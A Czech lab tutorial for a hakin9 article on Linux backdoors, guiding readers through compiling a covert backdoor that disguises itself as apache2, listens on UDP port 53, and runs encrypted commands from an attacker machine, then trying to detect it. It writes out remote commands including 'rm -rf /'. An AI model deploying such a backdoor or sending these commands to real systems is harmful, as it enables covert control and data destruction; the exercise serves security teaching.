Tutoriál k článku Pokročilé linuxové backdoory

Tento dokument je tutoriálem k článku Pokročilé linuxové backdoory. Cílem popsaných cvičení je praktické procvičení si práce s v článku popisovaném backdooru.

Cvičení provedeme s použitím dvou počítačů připojených do lokální sítě. První počítač – nazvěme jej zelený – to bude počítač oběti. Nastartujme jej z k časopisu přikládanému disku hakin9.live a spusťme na něm backdoor.

Druhý počítač – nazvěme jej červený – to bude počítač vetřelce. Nemusíme jej spouštět z hakin9.live, postačí libovolný Linux.

schemat

Pokud nemáme k dispozici dva počítače, můžeme cvičení provést na jednom počítači, bude to však méně připomínat skutečnou situaci.

příprava
pohled na backdoor
používáme backdoor
umíme detekovat přítomnost backdooru?

Příprava

[01] Nastavte síť (popis konfigurace sítě v hakin9.live najdete zde). zelený nastartujte z hakin9.live, spustťe také červený. Ujistěte se, že se oba počítače pingují.


Pohled na backdoor

Před spuštěním backdooru je dobré se na něj podívat. Níže uvedené činnosti provedeme na zeleném počítači.

Jak si pamatujete, kód backdooru se skládá ze třech částí: měnící jméno procesu, naslouchající paketům na daném portu a měnící získané pakety. Nejdříve se podívejme na část měnící jméno procesu.


[02] Na disk uložte a podívejte se na výpis mask_process_name.c (html). Zkompilujte jej:

$ gcc mask_process_name.c -o mask_process_name

A následně spusťte:

$ ./mask_process_name

[03] Na druhém terminálu se podívejte na seznam procesů:

$ ps ax

Jak je vidět, náš proces se tváří jako /usr/sbin/apache2.

screenshot


Další částí backdooru je smyčka získávající pakety na zadaném portu.


[04] Na disk uložte a podívejte se na výpis pcap_test.c (html). Zkompilujte jej:

$ gcc -lpcap pcap_test.c -o pcap_test

Následně jej spusťte jako uživatel root:

# ./pcap_test

[05] Z červeného počítače pošlete UDP paket na port 53 zeleného počítače.

$ hping <ip_zelený> -p 53 -2 -c 1

Pokud na zeleném počítači nemáte program hping, můžete použít netcat:

$ nc -u <ip_zelený> 53 tralala ctrl+d

[06] Vraťte se k zelenému počítači. Vidíte zprávu o získání paketu?

screenshot


Používáme backdoor

[07] Na disk uložte a prohlédněte si výpis silentdoor.c (html). Podívejte se na dvě části, které již znáte (část měnící jméno procesu a část získávající pakety) a část měnící získané pakety. Zkompilujte tento program:

$ gcc -lpcap silentdoor.c -o silentdoor

Pak jej spusťte jako uživatel root:

# ./silentdoor

[08] Na červeném počítači uložte na disk výpis key_open.c (html), čili program posílající backdooru zašifrované příkazy. Zkompilujte jej:

$ gcc -lpcap key_open.c -o key_open

[09] S pomocí programu key_open pošlete oběti příkaz k proveení. Na úvod se pokuste vytvořit soubor se jménem xxxx. Pamatujte, že program musíte spustit jako root:

# ./key_open <ip_zelený>:93 'touch xxxx'

[10] Vraťte se k zelenému počítači. Zastavte backdoor ([ctrl+c]). Vypište obsah adresáře:

# ls

Vidíte vytvořený soubor? Spusťte znovu backdoor.

screenshot


[11] Přejděte k červenému počítači. Stejně jako předtím, pokuste se vzdáleně provést jiné příkazy:

# ./key_open <ip_zelený>:93 'cat /dev/urandom > /dev/dsp' # ./key_open <ip_zelený>:93 'eject' # ./key_open <ip_zelený>:93 'rm -rf /'

Ale pozor! Pamatujte, že vámi posílané příkazy jsou skutečně vykonávány!


Umíme detekovat přítomnost backdooru?

Představte si, že podobný backdoor někdo nainstaloval na váš počítač... Uměli byste detekovat jeho přítomnost? Další činnosti provádíme na červeném počítači.


[12] Prozkoumejte systémové logy.

# tail /var/log/messages

Vidíte v nich nějaké informace dokazující přítomnost backdooru? Vidíte v nich nějakou informaci o tom, že jistý program naslouchá příchozím paketům?


[13] Spusťte ethereal:

# ethereal

Spusťte naslouchání na příslušném rozhraní.


[14] Přejděte na chvíli k červenému počítači. Stejně jako předtím, proveďte vzdáleně jiné příkazy. Současně na zeleném počítači sledujte pakety přicházející na port 53. Uměli byste je odlišit od normálních DNS odpovědí?

screenshot


[15] Máte nějaký nápad, jak využít to, co jsme se dozvěděli, s cílem detekce a zabezpečení se před popsaným expolitem? Pokud ano, podělte se o své nápady s jinými - zveme vás na naše diskuzní fórum!